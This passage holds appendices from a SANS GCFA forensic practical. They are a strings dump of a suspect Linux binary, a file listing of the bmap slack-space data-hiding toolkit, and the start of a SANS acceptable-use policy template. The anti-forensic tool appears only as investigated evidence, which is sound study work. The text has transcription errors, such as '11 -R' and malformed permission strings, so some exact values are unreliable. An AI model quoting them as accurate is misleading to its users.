/dev/sbpcd5 /dev/sbpcd4 /dev/sbpcd3
/dev/sbpcd2  /dev/sbpcd15  /dev/sbpcd14
/dev/sbpcd13 /dev/sbpcd12 /dev/sbpcd11
/dev/sbpcd10 /dev/sbpcd1  /dev/sbpcd0
/dev/ram9   /dev/ram8   /dev/ram7
/dev/ram6   /dev/ram5   /dev/ram4
/dev/ram3   /dev/ram2   /dev/ram19
/dev/ram18  /dev/ram17  /dev/ram16
/dev/ram15  /dev/ram14  /dev/ram13
/dev/ram12  /dev/ram11  /dev/ram10
/dev/ram1   /dev/ram0   /dev/pf3
/dev/pf2    /dev/pf1    /dev/pf0
/dev/pdd9   /dev/pdd8   /dev/pdd7
/dev/pdd6   /dev/pdd5   /dev/pdd4
/dev/pdd3   /dev/pdd2   /dev/pdd15
/dev/pdd14  /dev/pdd13  /dev/pdd12
/dev/pdd11  /dev/pdd10  /dev/pdd1
/dev/pdd    /dev/pdc9   /dev/pdc8
/dev/pdc7   /dev/pdc6   /dev/pdc5
/dev/pdc4   /dev/pdc3   /dev/pdc2
/dev/pdc15  /dev/pdc14  /dev/pdc13
/dev/pdc12  /dev/pdc11  /dev/pdc10
/dev/pdc1   /dev/pdc    /dev/pdb9
/dev/pdb8   /dev/pdb7   /dev/pdb6
/dev/pdb5   /dev/pdb4   /dev/pdb3
/dev/pdb2   /dev/pdb15  /dev/pdb14
/dev/pdb13  /dev/pdb12  /dev/pdb11
/dev/pdb10  /dev/pdb1   /dev/pdb
/dev/pda9   /dev/pda8   /dev/pda7
/dev/pda6   /dev/pda5   /dev/pda4
/dev/pda3   /dev/pda2   /dev/pda15
/dev/pda14  /dev/pda13  /dev/pda12
/dev/pda11  /dev/pda10  /dev/pda1
/dev/pda    /dev/pdc3   /dev/pdc2
/dev/pcd1   /dev/pcd0   /dev/optcd
/dev/nb9   /dev/nb8    /dev/nb7
/dev/nb6   /dev/nb5    /dev/nb4
/dev/nb31  /dev/nb30   /dev/nb3
/dev/nb29  /dev/nb28   /dev/nb27
/dev/nb26  /dev/nb25   /dev/nb24
/dev/nb23  /dev/nb22   /dev/nb21
/dev/nb20  /dev/nb19   /dev/nb18
/dev/nb1    /dev/nb17  /dev/nb16
/dev/nb15  /dev/nb14   /dev/nb13
/dev/nb12  /dev/nb11   /dev/nb10
/dev/nb1   /dev/nb0    /dev/md31
/dev/md30  /dev/md29   /dev/md28
/dev/md27  /dev/md26   /dev/md25
/dev/md24  /dev/md23   /dev/md22
/dev/md21  /dev/md20   /dev/md19
/dev/md18  /dev/md17   /dev/md16
/dev/mcdx  /dev/mcd    /dev/md9
/dev/loop8 /dev/loop7  /dev/loop6
/dev/loop5 /dev/loop4  /dev/loop3
/dev/loop2 /dev/loop15 /dev/loop14
/dev/loop13/ dev/loop12 /dev/loop11
/dev/loop10/ dev/loop1 /dev/loop0
/dev/jsfd  /dev/initrd  /dev/hitcd
<p>| | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>/dev/hdt9</td>
<td>/dev/hdt8</td>
<td>/dev/hdt7</td>
</tr>
<tr>
<td>/dev/hdt6</td>
<td>/dev/hdt5</td>
<td>/dev/hdt4</td>
</tr>
<tr>
<td>/dev/hdt32</td>
<td>/dev/hdt31</td>
<td>/dev/hdt30</td>
</tr>
<tr>
<td>/dev/hdt3</td>
<td>/dev/hdt29</td>
<td>/dev/hdt28</td>
</tr>
<tr>
<td>/dev/hdt27</td>
<td>/dev/hdt26</td>
<td>/dev/hdt25</td>
</tr>
<tr>
<td>/dev/hdt24</td>
<td>/dev/hdt23</td>
<td>/dev/hdt22</td>
</tr>
<tr>
<td>/dev/hdt21</td>
<td>/dev/hdt20</td>
<td>/dev/hdt2</td>
</tr>
<tr>
<td>/dev/hdt19</td>
<td>/dev/hdt18</td>
<td>/dev/hdt17</td>
</tr>
<tr>
<td>/dev/hdt16</td>
<td>/dev/hdt15</td>
<td>/dev/hdt14</td>
</tr>
<tr>
<td>/dev/hdt13</td>
<td>/dev/hdt12</td>
<td>/dev/hdt11</td>
</tr>
<tr>
<td>/dev/hdt10</td>
<td>/dev/hdt1</td>
<td>/dev/hdt</td>
</tr>
<tr>
<td>/dev/hdt9</td>
<td>/dev/hds8</td>
<td>/dev/hds7</td>
</tr>
<tr>
<td>/dev/hds6</td>
<td>/dev/hds5</td>
<td>/dev/hds4</td>
</tr>
<tr>
<td>/dev/hds32</td>
<td>/dev/hds31</td>
<td>/dev/hds30</td>
</tr>
<tr>
<td>/dev/hds3</td>
<td>/dev/hds29</td>
<td>/dev/hds28</td>
</tr>
<tr>
<td>/dev/hds27</td>
<td>/dev/hds26</td>
<td>/dev/hds25</td>
</tr>
<tr>
<td>/dev/hds24</td>
<td>/dev/hds23</td>
<td>/dev/hds22</td>
</tr>
<tr>
<td>/dev/hds21</td>
<td>/dev/hds20</td>
<td>/dev/hds2</td>
</tr>
<tr>
<td>/dev/hds19</td>
<td>/dev/hds18</td>
<td>/dev/hds17</td>
</tr>
<tr>
<td>/dev/hds16</td>
<td>/dev/hds15</td>
<td>/dev/hds14</td>
</tr>
<tr>
<td>/dev/hds13</td>
<td>/dev/hds12</td>
<td>/dev/hds11</td>
</tr>
<tr>
<td>/dev/hds10</td>
<td>/dev/hds1</td>
<td>/dev/hds</td>
</tr>
<tr>
<td>/dev/hdr9</td>
<td>/dev/hdr8</td>
<td>/dev/hdr7</td>
</tr>
<tr>
<td>/dev/hdr6</td>
<td>/dev/hdr5</td>
<td>/dev/hdr4</td>
</tr>
<tr>
<td>/dev/hdr32</td>
<td>/dev/hdr31</td>
<td>/dev/hdr30</td>
</tr>
<tr>
<td>/dev/hdr3</td>
<td>/dev/hdr29</td>
<td>/dev/hdr28</td>
</tr>
<tr>
<td>/dev/hdr27</td>
<td>/dev/hdr26</td>
<td>/dev/hdr25</td>
</tr>
<tr>
<td>/dev/hdr24</td>
<td>/dev/hdr23</td>
<td>/dev/hdr22</td>
</tr>
<tr>
<td>/dev/hdr21</td>
<td>/dev/hdr20</td>
<td>/dev/hdr2</td>
</tr>
<tr>
<td>/dev/hdr19</td>
<td>/dev/hdr18</td>
<td>/dev/hdr17</td>
</tr>
<tr>
<td>/dev/hdr16</td>
<td>/dev/hdr15</td>
<td>/dev/hdr14</td>
</tr>
<tr>
<td>/dev/hdr13</td>
<td>/dev/hdr12</td>
<td>/dev/hdr11</td>
</tr>
<tr>
<td>/dev/hdr10</td>
<td>/dev/hdr1</td>
<td>/dev/hdr</td>
</tr>
<tr>
<td>/dev/hdq9</td>
<td>/dev/hdq8</td>
<td>/dev/hdq7</td>
</tr>
<tr>
<td>/dev/hdq6</td>
<td>/dev/hdq5</td>
<td>/dev/hdq4</td>
</tr>
<tr>
<td>/dev/hdq32</td>
<td>/dev/hdq31</td>
<td>/dev/hdq30</td>
</tr>
<tr>
<td>/dev/hdq3</td>
<td>/dev/hdq29</td>
<td>/dev/hdq28</td>
</tr>
<tr>
<td>/dev/hdq27</td>
<td>/dev/hdq26</td>
<td>/dev/hdq25</td>
</tr>
<tr>
<td>/dev/hdq24</td>
<td>/dev/hdq23</td>
<td>/dev/hdq22</td>
</tr>
<tr>
<td>/dev/hdq21</td>
<td>/dev/hdq20</td>
<td>/dev/hdq2</td>
</tr>
<tr>
<td>/dev/hdq19</td>
<td>/dev/hdq18</td>
<td>/dev/hdq17</td>
</tr>
<tr>
<td>/dev/hdq16</td>
<td>/dev/hdq15</td>
<td>/dev/hdq14</td>
</tr>
<tr>
<td>/dev/hdq13</td>
<td>/dev/hdq12</td>
<td>/dev/hdq11</td>
</tr>
<tr>
<td>/dev/hdq10</td>
<td>/dev/hdq1</td>
<td>/dev/hdq</td>
</tr>
<tr>
<td>/dev/hdp9</td>
<td>/dev/hdp8</td>
<td>/dev/hdp7</td>
</tr>
<tr>
<td>/dev/hdp6</td>
<td>/dev/hdp5</td>
<td>/dev/hdp4</td>
</tr>
<tr>
<td>/dev/hdp32</td>
<td>/dev/hdp31</td>
<td>/dev/hdp30</td>
</tr>
<tr>
<td>/dev/hdp3</td>
<td>/dev/hdp29</td>
<td>/dev/hdp28</td>
</tr>
<tr>
<td>/dev/hdp27</td>
<td>/dev/hdp26</td>
<td>/dev/hdp25</td>
</tr>
<tr>
<td>/dev/hdp24</td>
<td>/dev/hdp23</td>
<td>/dev/hdp22</td>
</tr>
<tr>
<td>/dev/hdp21</td>
<td>/dev/hdp20</td>
<td>/dev/hdp2</td>
</tr>
<tr>
<td>/dev/hdp19</td>
<td>/dev/hdp18</td>
<td>/dev/hdp17</td>
</tr>
<tr>
<td>/dev/hdp16</td>
<td>/dev/hdp15</td>
<td>/dev/hdp14</td>
</tr>
<tr>
<td>/dev/hdp13</td>
<td>/dev/hdp12</td>
<td>/dev/hdp11</td>
</tr>
<tr>
<td>/dev/hdp10</td>
<td>/dev/hdp1</td>
<td>/dev/hdp</td>
</tr>
<tr>
<td>/dev/hdo9</td>
<td>/dev/hdo8</td>
<td>/dev/hdo7</td>
</tr>
<tr>
<td>/dev/hdo6</td>
<td>/dev/hdo5</td>
<td>/dev/hdo4</td>
</tr>
</tbody>
</table>
/dev/hdo32 /dev/hdo31 /dev/hdo30
/dev/hdo3 /dev/hdo29 /dev/hdo28
/dev/hdo27 /dev/hdo26 /dev/hdo25
/dev/hdo24 /dev/hdo23 /dev/hdo22
/dev/hdo21 /dev/hdo20 /dev/hdo2
/dev/hdo19 /dev/hdo18 /dev/hdo17
/dev/hdo16 /dev/hdo15 /dev/hdo14
/dev/hdo13 /dev/hdo12 /dev/hdo11
/dev/hdo10 /dev/hdo1 /dev/hdo
/dev/hdn9 /dev/hdn8 /dev/hdn7
/dev/hdn6 /dev/hdn5 /dev/hdn4
/dev/hdn32 /dev/hdn31 /dev/hdn30
/dev/hdn3 /dev/hdn29 /dev/hdn28
/dev/hdn27 /dev/hdn26 /dev/hdn25
/dev/hdn24 /dev/hdn23 /dev/hdn22
/dev/hdn21 /dev/hdn20 /dev/hdn2
/dev/hdn19 /dev/hdn18 /dev/hdn17
/dev/hdn16 /dev/hdn15 /dev/hdn14
/dev/hdn13 /dev/hdn12 /dev/hdn11
/dev/hdn10 /dev/hdn1 /dev/hdn
/dev/hdm9 /dev/hdm8 /dev/hdm7
/dev/hdm6 /dev/hdm5 /dev/hdm4
/dev/hdm32 /dev/hdm31 /dev/hdm30
/dev/hdm3 /dev/hdm29 /dev/hdm28
/dev/hdm27 /dev/hdm26 /dev/hdm25
/dev/hdm24 /dev/hdm23 /dev/hdm22
/dev/hdm21 /dev/hdm20 /dev/hdm2
/dev/hdm19 /dev/hdm18 /dev/hdm17
/dev/hdm16 /dev/hdm15 /dev/hdm14
/dev/hdm13 /dev/hdm12 /dev/hdm11
/dev/hdm10 /dev/hdm1 /dev/hdm
/dev/hd19 /dev/hd18 /dev/hd17
/dev/hd16 /dev/hd15 /dev/hd14
/dev/hd132 /dev/hd131 /dev/hd130
/dev/hd13 /dev/hd129 /dev/hd128
/dev/hd127 /dev/hd126 /dev/hd125
/dev/hd124 /dev/hd123 /dev/hd122
/dev/hd121 /dev/hd120 /dev/hd12
/dev/hd119 /dev/hd118 /dev/hd117
/dev/hd116 /dev/hd115 /dev/hd114
/dev/hd113 /dev/hd112 /dev/hd111
/dev/hd110 /dev/hd11 /dev/hd1
/dev/hdk9 /dev/hdk8 /dev/hdk7
/dev/hdk6 /dev/hdk5 /dev/hdk4
/dev/hdk32 /dev/hdk31 /dev/hdk30
/dev/hdk3 /dev/hdk29 /dev/hdk28
/dev/hdk27 /dev/hdk26 /dev/hdk25
/dev/hdk24 /dev/hdk23 /dev/hdk22
/dev/hdk21 /dev/hdk20 /dev/hdk2
/dev/hdk19 /dev/hdk18 /dev/hdk17
/dev/hdk16 /dev/hdk15 /dev/hdk14
/dev/hdk13 /dev/hdk12 /dev/hdk11
/dev/hdk10 /dev/hdk1 /dev/hdk
/dev/hdj9 /dev/hdj8 /dev/hdj7
/dev/hdj6 /dev/hdj5 /dev/hdj4
/dev/hdj32 /dev/hdj31 /dev/hdj30
/dev/hdj3 /dev/hdj29 /dev/hdj28
/dev/fd2d360 /dev/fd2H720 /dev/fd2H360
/dev/fd2H1440 /dev/fd2D720 /dev/fd2D360
/dev/fd2CompaQ /dev/fd2 /dev/fd1u830
/dev/fd1u820 /dev/fd1u800 /dev/fd1u720
/dev/fd1u3840 /dev/fd1u360 /dev/fd1u3520
/dev/fd1u3200 /dev/fd1u2880 /dev/fd1u1920
/dev/fd1u1840 /dev/fd1u1760 /dev/fd1u1743
/dev/fd1u1722 /dev/fd1u1680 /dev/fd1u1660
/dev/fd1u1440 /dev/fd1u1200 /dev/fd1u1040
/dev/fd1h880 /dev/fd1h720 /dev/fd1h420
/dev/fd1h410 /dev/fd1h360 /dev/fd1h1440
/dev/fd1H1440 /dev/fd1H1440 /dev/fd1D720
/dev/fd1D360 /dev/fd1CompaQ /dev/fd1
/dev/fd0u830 /dev/fd0u820 /dev/fd0u800
/dev/fd0u720 /dev/fd0u3840 /dev/fd0u360
/dev/fd0u3520 /dev/fd0u3200 /dev/fd0u2880
/dev/fd0u1920 /dev/fd0u1840 /dev/fd0u1760
/dev/fd0u1743 /dev/fd0u1722 /dev/fd0u1680
/dev/fd0u1660 /dev/fd0u1440 /dev/fd0u1120
/dev/fd0u1040 /dev/fd0h880 /dev/fd0h720
/dev/fd0h420 /dev/fd0h410 /dev/fd0h360
/dev/fd0h1660 /dev/fd0h1494 /dev/fd0h1476
/dev/fd0h1440 /dev/fd0d360 /dev/fd0D720
/dev/fd0H360 /dev/fd0h1200 /dev/fd0D720
/dev/fd0D360 /dev/fd0H1440 /dev/fd0
/dev/fd0CompaQ /dev/cm206cd /dev/cm205cd
/dev/cdu535 /dev/cdu31a /dev/bpcd
/dev/aztcd /dev/md15 /dev/md14
/dev/md13 /dev/md12 /dev/md11
/dev/md9 /dev/md8 /dev/md7
/dev/md6 /dev/md5 /dev/md4
/dev/md3 /dev/md2 /dev/md1
/dev/md0 /dev/md10 /dev/null

Wrong medium type  No medium found  Disk quota exceeded
Remote I/O error  Is a named type file  No XENIX semaphores available
Not a XENIX named type file  Structure needs cleaning  Stale NFS file handle
Operation now in progress  Operation already in progress  No route to host
Host is down  Connection refused  Connection timed out
No buffer space available  Connection reset by peer  Network is unreachable
Network is down  Address already in use  Protocol family not supported
Operation not supported  Socket type not supported  Protocol not supported
Protocol not available  Message too long  Destination address required
Too many users  Streams pipe error  Remote address changed
File descriptor in bad state  Name not unique on network  Bad message
RFS specific error  Multihop attempted  Protocol error
Communication error on send  Srmount error  Advertise error
Link has been severed  Object is remote  Package not installed
Machine is not on the network  Out of streams resources  Timer expired
No data available  Device not a stream  Bad font file format
Invalid slot  Invalid request code  No anode
Exchange full  Invalid request descriptor  Invalid exchange
Level 2 halted  No CSI structure available  Protocol driver not attached
Link number out of range  Level 3 reset  Level 3 halted  
Level 2 not synchronized  Channel number out of range  Identifier removed  
No message of desired type  Directory not empty  Function not implemented  
No locks available  File name too long  Resource deadlock avoided  
Numerical result out of range  Broken pipe  Too many links  
Read-only file system  Illegal seek  No space left on device  
File too large  Text file busy  Too many open files  
Too many open files in system  Invalid argument  Is a directory  
Not a directory  No such device  Invalid cross-device link  
File exists  Device or resource busy  Block device required  
Bad address  Permission denied  Cannot allocate memory  
No child processes  Bad file descriptor  Input/output error  
Argument list too long  No such device or address  No such file or directory  
Interrupted system call  No such process  Too many references: cannot 
Operation not permitted  Success  splice  
Cannot send after transport  Transport endpoint is already  
endpoint shutdown  connected  
Software caused connection  Network dropped connection  
abort  on reset  
Address family not  Protocol wrong type for  
supported by protocol  socket  
Interrupted system call  Invalid or incomplete  
should be restarted  multibyte or wide character  
Attempting to link in too  Value too large for defined  
many shared libraries  data type  
Can not access a needed  Inappropriate ioctl for  
shared library  device  
Numerical argument out of  Top_PAD_  
domain  TRIM_THRESHOLD_  
, ccs=  TRIM_THRESHOLD_  
MMAP_THRESHOLD_  
system bytes = %10u  in use bytes = %10u  
max mmap regions = %10u  max mmap bytes = %10u  
free(): invalid pointer %p!  malloc: using debugging  
hooks  ANSI_X3.4-1968//TRANSLIT  
Unknown error  out of memory [%d]  
[%d] /dev/console  
/apic  /dev/log  
/pse36  cmov  
fxsr  acpi  
/i386  ia64  
i586  i486  
i686  i386  
LD_AOUT_PRELOAD  LD_PRELOAD  
LD_ORIGIN_PATH  LD_DEBUG_OUTPUT  
GCONV_PATH  HOSTALIASES  
LOCSPATH  MALLOC_TRACE  
RESOLVE_HOST_CONF  RES_OPTIONS  
/TZDIR  LD_WARN  
/LD_BIND_NOW  LD_BIND_NOT  
/etc/suid-debug  MALLOC_CHECK_  
FATAL: kernel too old  FATAL: cannot determine  
library version  /usr/lib/gconv  

© SANS Institute 2004,  
As part of GIAC practical repository.  
Author retains full rights.
Kevin Miller - Sans GCFA Assignment – v1.4

gconv-modules =INTERNAL->ucs2reverse =ucs2reverse->INTERNAL
=INTERNAL->ascii =ascii->INTERNAL
=ascii->INTERNAL
=ucs2->INTERNAL =utf8->INTERNAL =INTERNAL->utf8
=ufs8->INTERNAL =utf8-4LE/
=INTERNAL->ufc4 =ucs-2BE// UNICODEBIG/
=INTERNAL->ufc4
UCS-2LE// ISO-10646/UCS2//
IBM367// ANSI_X3.4-1968//
ISO-IR-6// ANSI_X3.4-1968//
OSF00010101// ISO-
10646/UCS2/
UCS2// ISO-10646/UCS2/
UTF-8// ISO-10646/UTF8/
OSF00010106// ISO-
10646/UCS4/
ISO-10646// ISO-10646/UCS4/
=INTERNAL->ufc4
alias =ISO_646.IRV:1991// ANSI_X3.4
1968//
ANSI_X3.4-1968// ANSI_X3.4-1968//
10646-1:1993// ISO-
10646/UCS4/
gconv gconv_init
toupper
tolower
alpha
digit
space
print
blank
cntrl
alnum
POSIX
/messages
POSIX
LC_COLLATE
LC_MONETARY
LC_NUMERIC
LC_TIME
LC_MESSAGES
LC_ALL
LC_XXX
LANGUAGE
charset=
OUTPUT_CHARSET
/%usr/share/locale
parse error
parser stack overflow
plural=
(nil)
0123456789abcdefghijklmnopqrstuvwxyz
stuvwxyz
%m/%d/%y
%Y-%m-%d
%H:%M
%[~0-9,+-]
%h
%hu:%hu:%hu
TZDIR
T2DIR
/T2DIR
/proc
/proc/self/cwd
/proc/mounts
/proc/mounts
MemFree: %ld kB
/origin
PLATFOR
M
system search path
cannot stat shared object
cannot create search list (%s from file
file too short
invalid ELF header
ELF file OS ABI invalid
file=%s
file=%s; needed by %s
find library=%s; searching
cannot create cache for
cannot create RUNPATH/RPATH

search path
copy
map
ELF load command
address/offset not properly aligned
cannot change memory protections
dynamic: 0x0*0x base:
0x0*0x size: 0x0*2x
ELF file data encoding not big-endian
ELF file version does not match current one
cannot open shared object file
search cache=%s
undefined symbol:
binding file %s to %s: %s
symbol `%s'
with link time reference
normal
DYNAMIC LINKER BUG!!!
error while loading shared libraries
gconv_trans_context
gconv_trans_end
LC_TELEPHONE
LC_PAPER
LANG
^[yY]
%a %b %e %H:%M:%S %Z %Y
December
November
September
August
June
April
February
January
Friday
Thursday
Tuesday
Monday
%p%m%f	%m%f
%aN%f%N%d%N%b%N%e
%r%N%C%Z %T%N%c%N
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
+45 3122-6543
ISO/IEC 14652 i18n FDCC-set

!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\]^_`abcdefghijklmnopqrstuvwxyz{|}~
U^h6LU3
_'Djz
t%j
=u8Q)+
;#$o
!{;>;b
{fG5
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
STUVWXYZ
% s % s % s % d % d
.profile
% s: cannot open file: % s
% s: cannot map file: % s
Out of memory
while initializing profiler
cannot create scope list
empty dynamic string token substitution
calling fini: % s
relocation processing: % s
% s: profiler found no PLTREL in object % s
unexpected reloc type 0x
cannot load auxiliary `%s' because of empty dynamic string token substitution
cannot allocate dependency list
calling init: % s
no version information available (required by
of Verdef record
of Verneed record
U.y'
$po?b
MP0!
*-xx
Ac+
D0B
0123456789ABCDEFghijklmnopqr
STUVWXYZ
% s % s % s % d % d
.seconds
% s: cannot stat file: % s
% s: file is no correct profile data file for `%s'
dlopen
% s: cannot extend global scope
gmon
invalid mode for dlopen()
DST not allowed in SUID/SGID programs
shared object not open
(lazy)
cannot make segment writable for relocation
% s: Symbol `%s' has different size in shared object,
consider re-linking
% s: profiler out of memory
shadowing PLTREL of % s
unexpected PLT reloc type 0x
load auxiliary object=%s
requested by file=%s
cannot allocate symbol
search list
calling preinit: % s
load filtered object=%s
requested by file=%s
Filters not supported with LD_TRACE_PRELINKING
checking for version `%s' i:
file %s required by file %s
unsupported version
weak version `inity
no version information
available (required by
Appendix B

Bmap-1.0.20.tar.gz file list

[root@localhost bin1.4]# 11 -R bmap-1.0.20
bmap-1.0.20:
total 5052
-rwxr-xr-x 1 root wheel 611530 Jul 15 2003 a.out
-rwxr-xr-x 1 root wheel 510960 Jul 15 2003 bclump
-rw-r-r-- 1 root wheel 10364 May 29 2000 bclump.c
-rw-r-r-- 1 root wheel 506 Jul 15 2003 bclump-inverse.sgml
-rw-r-r-- 1 root wheel 30824 Jul 15 2003 bclump.o
-rw-r-r-- 1 root wheel 6616 Oct 17 2003 blocks
-rw-r-r-- 1 root wheel 6616 Oct 17 2003 blocks.sorted
-rwxr-xr-x 1 root wheel 487476 Jul 16 2003 bmap
-rw-r-r-- 1 root wheel 13030 Jul 15 2000 bmap.c
-rw-r-r-- 1 root wheel 1337 Jul 15 2003 bmap-involve.sgml
-rw-r-r-- 1 root wheel 36376 Jul 15 2003 bmap.o
-rw-r-r-- 1 root wheel 15603 Jul 15 2003 bmap.sgml
-rw-r-r-- 1 root wheel 12811 May 29 2000 bmap.sgml.m4
-rwxr-xr-x 2 root wheel 4096 Oct 17 2003 bmap-slack
-rw-r-r-- 1 root wheel 824 May 15 2000 bmap.spec
-rw-r-r-- 1 root wheel 55155 Jul 15 2003 bmap.strings
-rwxr-xr-x 1 root wheel 487476 Jul 15 2003 bmap.strip.0715
-rwxr-xr-x 1 root wheel 487476 Oct 18 2003 bmap.stripped
-rw-r-r-- 1 root wheel 17159 Jul 15 2003 bmap.tex
-rw-r-r-- 1 root wheel 266 Jul 15 2003 config.h
-rw-r-r-- 1 root wheel 18008 Mar 24 2000 COPYING
-rwxr-xr-x 1 root wheel 501043 Jul 15 2003 dev_builder
-rw-r-r-- 1 root wheel 1728 Feb 24 2000 dev_builder.c
-rw-r-r-- 1 root wheel 77579 Jul 15 2003 dev_entries.c
-rw-r-r-- 1 root wheel 113856 Jul 15 2003 dev_entries.o
-rw-r-r-- 1 root wheel 0 Oct 17 2003 file_slack2
-drwxrwxr-x 2 root wheel 4096 Oct 16 2000 include
-rw-r-r-- 1 root wheel 913 Feb 14 2000 index.html
-rw-r-r-- 1 root wheel 8546 Apr 11 2000 libbmap.c
-rw-r-r-- 1 root wheel 36464 Jul 15 2003 libbmap.o
-rw-r-r-- 1 root wheel 1322 Apr 14 2000 LICENSE
-rw-r-r-- 1 root wheel 2049 Oct 17 2003 logfilebmap.out
-rw-r-r-- 1 root wheel 546815 Oct 16 2003 logfille1
-rw-r-r-- 1 root wheel 0 Oct 17 2003 logfillelbmap.out
-rw-r-r-- 1 root wheel 101375 Oct 16 2003 lostfile1
-rw-r-r-- 1 root wheel 2392 Oct 17 2003 Makefile
-drwxrwxr-x 3 root wheel 4096 Oct 16 2003 man
-drwxrwxr-x 3 root wheel 4096 Jul 15 2003 mft
-rw-r-r-- 1 root wheel 54948 Oct 18 2003 prog.strings
-rw-r-r-- 1 root wheel 6639 May 15 2000 README
-rwxr-xr-x 1 root wheel 621860 Jul 15 2003 slacker
-rw-r-r-- 1 root wheel 8905 Apr 27 2000 slacker.c
-rw-r-r-- 1 root wheel 1029 Jul 15 2003 slacker-involve.sgml
-rw-r-r-- 1 root wheel 5517 Mar 8 2000 slacker-modules.c
Kevin Miller - Sans GCFA Assignment – v1.4

-rw-r--r-- 1 root wheel 30612 Jul 15 2003 slacker-modules.o
-rw-r--r-- 1 root wheel 33280 Jul 15 2003 slacker.o
-rw-r--r-- 1 root wheel 362 Oct 17 2003 slackinfiles.txt
-rw-r--r-- 1 root wheel 805 Oct 17 2003 Sound-HOWTO-html.tar.gz
-rwxr-xr-x 1 root wheel 26843 Oct 17 2003 Sound-HOWTO-html.tar.gz
-rw-r--r-- 1 root wheel 1829 Oct 17 2003 Sound-slack.txt

bmap-1.0.20/bmap-slack:
total 204
-rw-r--r-- 1 root wheel 2022 Oct 17 2003 sl-slack-out
-rw-r--r-- 1 root wheel 5341 Feb 13 2000 Sound-HOWTO-1.html
-rw-r--r-- 1 root wheel 3849 Feb 13 2000 Sound-HOWTO-2.html
-rw-r--r-- 1 root wheel 12397 Feb 13 2000 Sound-HOWTO-3.html
-rw-r--r-- 1 root wheel 18167 Feb 13 2000 Sound-HOWTO-4.html
-rw-r--r-- 1 root wheel 1556 Feb 13 2000 Sound-HOWTO-5.html
-rw-r--r-- 1 root wheel 30341 Feb 13 2000 Sound-HOWTO-6.html
-rw-r--r-- 1 root wheel 5527 Feb 13 2000 Sound-HOWTO-7.html
-rw-r--r-- 1 root wheel 6170 Feb 13 2000 Sound-HOWTO.html
-rw-r--r-- 1 root wheel 92160 Oct 17 2003 Sound-HOWTO-html.tar
-rw-r--r-- 1 root wheel 1829 Oct 17 2003 Sound-HOWTO-html.tar.gz

bmap-1.0.20/include:
total 8
-rw-r--r-- 1 root wheel 1032 Mar 24 2000 bmap.h
-rw-r--r-- 1 root wheel 699 Mar 24 2000 slacker.h

bmap-1.0.20/man:
total 4
drwxrwxr-x 2 root wheel 4096 Oct 16 2003 man2

bmap-1.0.20/man/man2:
total 4
-rw-r--r-- 1 root wheel 1870 Mar 24 2000 libbmap.2

bmap-1.0.20/mft:
total 236
-rw-r--r-- 1 root wheel 17983 Apr 13 2000 COPYING
-rw-r--r-- 1 root wheel 9672 Apr 11 2000 helper.c
-rw-r--r-- 1 root wheel 26520 Jul 15 2003 helper.o
drwxrwxr-x 2 root wheel 4096 Oct 16 2003 include
-rw-r--r-- 1 root wheel 78443 Jul 15 2003 libmft.a
-rw-r--r-- 1 root wheel 8202 Apr 25 2000 log.c
-rw-r--r-- 1 root wheel 30228 Jul 15 2003 log.o
-rw-r--r-- 1 root wheel 810 Apr 13 2000 Makefile
-rw-r--r-- 1 root wheel 98 Jul 15 2003 mft_config.h
-rw-r--r-- 1 root wheel 7905 Mar 24 2000 option.c
-rw-r--r-- 1 root wheel 23560 Jul 15 2003 option.o
-rw-r--r-- 1 root wheel 871 Apr 25 2000 README

bmap-1.0.20/mft/include:
total 20
-rw-r--r-- 1 root wheel 304 Apr 16 2000 helper.h
-rw-r--r-- 1 root wheel 572 Mar 8 2000 info.h

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
Appendix C

Some Company – Acceptable Use Policy

The InfoSec Acceptable Use Policy below is from the SANS “www.sans.org/resources/policies/Acceptable_Use_Policy”.

Some Company InfoSec Acceptable Use Policy

“1.0 Overview
InfoSec's intentions for publishing an Acceptable Use Policy are not to impose restrictions that are contrary to Some Company's established culture of openness, trust and integrity. InfoSec is committed to protecting Some Company's employees, partners and the company from illegal or damaging actions by individuals, either knowingly or unknowingly. Internet/Intranet/Extranet-related systems, including but not limited to computer equipment, software, operating systems, storage media, network accounts providing electronic mail, WWW browsing, and FTP, are the property of Some Company. These systems are to be used for business purposes in serving the interests of the company, and of our clients and customers in the course of normal operations. Please review Human Resources policies for further details. Effective security is a team effort involving the participation and support of every Some Company employee and affiliate who deals with information and/or information systems. It is the responsibility of every computer user to know these guidelines, and to conduct their activities accordingly.

2.0 Purpose
The purpose of this policy is to outline the acceptable use of computer equipment at Some Company. These rules are in place to protect the employee and Some Company. Inappropriate use exposes Some Company to risks including virus attacks, compromise of network systems and services, and legal issues.

3.0 Scope
This policy applies to employees, contractors, consultants, temporarines, and other workers at Some Company, including all personnel affiliated with third parties. This policy applies to all equipment that is owned or leased by Some Company.

4.0 Policy
4.1 General Use and Ownership
1. While Some Company's network administration desires to provide a reasonable level of privacy, users should be aware that the data they create on the corporate systems remains the property of Some Company. Because of the need to protect Some Company's network, management cannot guarantee the confidentiality of information stored on any network device belonging to Some Company.
2. Employees are responsible for exercising good judgment regarding the reasonableness of personal use. Individual departments are responsible for creating guidelines concerning personal use of Internet/Intranet/Extranet systems. In the absence of such policies, employees should be guided by departmental policies on personal use, and if there is any uncertainty, employees should consult their supervisor or manager.
3. InfoSec recommends that any information that users consider sensitive or vulnerable be encrypted. For guidelines on information classification, see InfoSec's Information Sensitivity Policy. For guidelines on encrypting email and documents, go to InfoSec's Awareness Initiative.
4. For security and network maintenance purposes, authorized individuals within Some Company may monitor equipment, systems and network traffic at any time, per InfoSec's Audit Policy.

5. Some Company reserves the right to audit networks and systems on a periodic basis to ensure compliance with this policy.

4.2 Security and Proprietary Information

1. The user interface for information contained on Internet/Intranet/Extranet-related systems should be classified as either confidential or not confidential, as defined by corporate confidentiality guidelines, details of which can be found in Human Resources policies. Examples of confidential information include but are not limited to: company private, corporate strategies, competitor sensitive, trade secrets, specifications, customer lists, and research data. Employees should take all necessary steps to prevent unauthorized access to this information.

2. Keep passwords secure and do not share accounts. Authorized users are responsible for the security of their passwords and accounts. System level passwords should be changed quarterly, user level passwords should be changed every six months.

3. All PCs, laptops and workstations should be secured with a password-protected screensaver with the automatic activation feature set at 10 minutes or less, or by logging-off (control-alt-delete for Win2K users) when the host will be unattended.

4. Use encryption of information in compliance with InfoSec's Acceptable Encryption Use policy.

